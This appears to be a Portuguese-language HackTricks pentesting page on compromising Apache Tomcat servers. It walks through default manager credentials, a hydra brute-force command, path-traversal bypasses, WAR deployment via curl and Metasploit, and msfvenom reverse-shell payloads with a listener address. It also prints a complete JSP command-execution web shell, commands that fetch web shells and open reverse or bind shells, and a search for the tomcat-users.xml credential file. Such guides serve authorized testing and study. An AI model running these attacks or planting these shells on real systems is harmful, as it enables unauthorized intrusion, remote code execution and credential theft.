# Tomcat
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
## Descoberta * Geralmente é executado na **porta 8080** * **Erro comum do Tomcat:**
## Enumeração ### Versão ```bash curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat Apache Tomcat 9 (9.0.30) - Documentation Index use auxiliary/scanner/http/tomcat_enum ``` ### Credenciais padrão O caminho mais interessante do Tomcat é _**/manager/html**_, dentro desse caminho **você pode fazer upload e implantar arquivos war** (executar código). Mas esse caminho é protegido por autenticação HTTP básica, as credenciais mais comuns são: * admin:admin * tomcat:tomcat * admin:\ * admin:s3cr3t * tomcat:s3cr3t * admin:tomcat Você pode testar essas e outras usando: ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` Outro caminho interessante do Tomcat é o _**/manager/status**_, onde você pode ver a versão do sistema operacional e do Tomcat. Isso é útil para encontrar vulnerabilidades que afetam a versão do Tomcat quando você não pode acessar o _**/manager/html**_. ### Bruteforce ```bash hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts ``` ## Vulns ### Divulgação de rastreamento de senha Tente acessar `/auth.jsp` e, se tiver muita sorte, **poderá divulgar a senha em um rastreamento**. ### Codificação de URL dupla Uma vulnerabilidade conhecida _para_ acessar o gerenciador de aplicativos \_\_ é o mod\_jk em CVE-2007-1860, que permite **travessia de caminho de codificação de URL dupla**. Para acessar a web de gerenciamento do Tomcat, vá para: _pathTomcat/%252E%252E/manager/html_ Tenha em mente que para fazer upload do webshell, você pode precisar usar o truque de codificação de URL dupla e enviar também um cookie e/ou um token SSRF.\ Para acessar a porta dos fundos, você também pode precisar usar o truque de codificação de URL dupla. ### /exemplos Os seguintes scripts de exemplo que vêm com o Apache Tomcat v4.x - v7.x e podem ser usados por invasores para obter informações sobre o sistema. Esses scripts também são conhecidos por serem vulneráveis à injeção de script entre sites (XSS) (de [aqui](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)). * /examples/jsp/num/numguess.jsp * /examples/jsp/dates/date.jsp * /examples/jsp/snp/snoop.jsp * /examples/jsp/error/error.html * /examples/jsp/sessions/carts.html * /examples/jsp/checkbox/check.html * /examples/jsp/colors/colors.html * /examples/jsp/cal/login.html * /examples/jsp/include/include.jsp * /examples/jsp/forward/forward.jsp * /examples/jsp/plugin/plugin.jsp * /examples/jsp/jsptoserv/jsptoservlet.jsp * /examples/jsp/simpletag/foo.jsp * /examples/jsp/mail/sendmail.jsp * /examples/servlet/HelloWorldExample * /examples/servlet/RequestInfoExample * /examples/servlet/RequestHeaderExample * /examples/servlet/RequestParamExample * /examples/servlet/CookieExample * /examples/servlet/JndiServlet * /examples/servlet/SessionExample * /tomcat-docs/appdev/sample/web/hello.jsp ### Traversal de caminho (..;/) Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), você pode ganhar acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/` Então, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulnerable.com/lalala/..;/manager/html` **Outra maneira** de contornar os caminhos protegidos usando esse truque é acessar `http://www.vulnerable.com/;param=value/manager/html` ## RCE Finalmente, se você tiver acesso ao Gerenciador de Aplicativos da Web do Tomcat, poderá **fazer upload e implantar um arquivo .war (executar código)**. ### Limitações Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_ geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (veja a seção [POST](tomcat.md#post)). ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # deploy under "path" context path curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell" # undeploy curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" ``` ### Metasploit Metasploit é uma das ferramentas mais populares para testes de penetração. Ele possui uma grande variedade de módulos que podem ser usados para explorar vulnerabilidades em sistemas e aplicativos. O Metasploit também permite a criação de payloads personalizados para atacar sistemas específicos. Ele é frequentemente usado por hackers éticos e testadores de penetração para avaliar a segurança de sistemas e redes. ```bash use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost msf exploit(multi/http/tomcat_mgr_upload) > set rport msf exploit(multi/http/tomcat_mgr_upload) > set httpusername msf exploit(multi/http/tomcat_mgr_upload) > set httppassword msf exploit(multi/http/tomcat_mgr_upload) > exploit ``` ### Shell Reverso MSFVenom O shell reverso é uma técnica comum usada em testes de penetração para obter acesso remoto a um sistema. O MSFVenom é uma ferramenta do Metasploit Framework que pode ser usada para gerar payloads de shell reverso. Para gerar um payload de shell reverso usando o MSFVenom, use o seguinte comando: ``` msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war ``` Substitua `` pelo endereço IP da sua máquina e `` pela porta que você deseja usar para a conexão reversa. O arquivo de saída será um arquivo WAR que pode ser implantado em um servidor Tomcat. Para implantar o arquivo WAR, copie-o para o diretório `webapps` do servidor Tomcat e inicie o servidor. O payload será executado automaticamente quando o arquivo WAR for implantado. Para se conectar ao shell reverso, use uma ferramenta como o Netcat ou o Metasploit Framework. ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war ``` Em seguida, **faça o upload do arquivo `revshell.war` e acesse-o (**_**/revshell/**_**)** ### Shell de ligação e reversa com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) Em alguns cenários, isso não funciona (por exemplo, versões antigas do sun) #### Baixar ```bash git clone https://github.com/mgeeky/tomcatWarDeployer.git ``` #### Shell reverso ```bash ./tomcatWarDeployer.py -U -P -H -p :/manager/html/ ``` #### Shell de ligação ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` ### Usando [Culsterd](https://github.com/hatRiot/clusterd) ```bash clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows ``` ### Método manual - Web shell Crie o arquivo **index.jsp** com este [conteúdo](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp): ```java
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>
<%=output %>
``` ```bash mkdir webshell cp index.jsp webshell cd webshell jar -cvf ../webshell.war * webshell.war is created # Upload it ``` Também é possível instalar isso (permite upload, download e execução de comandos): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) ### Método Manual 2 Obtenha um web shell JSP como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) e crie um arquivo WAR: ```bash wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp zip -r backup.war cmd.jsp # When this file is uploaded to the manager GUI, the /backup application will be added to the table. # Go to: http://tomcat-site.local:8180/backup/cmd.jsp ``` ## POST O nome do arquivo de credenciais do Tomcat é _tomcat-users.xml_. ```bash find / -name tomcat-users.xml 2>/dev/null ``` Outras maneiras de obter credenciais do Tomcat: ```bash msf> use post/multi/gather/tomcat_gather msf> use post/windows/gather/enum_tomcat ``` ## Outras ferramentas de varredura do Tomcat * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.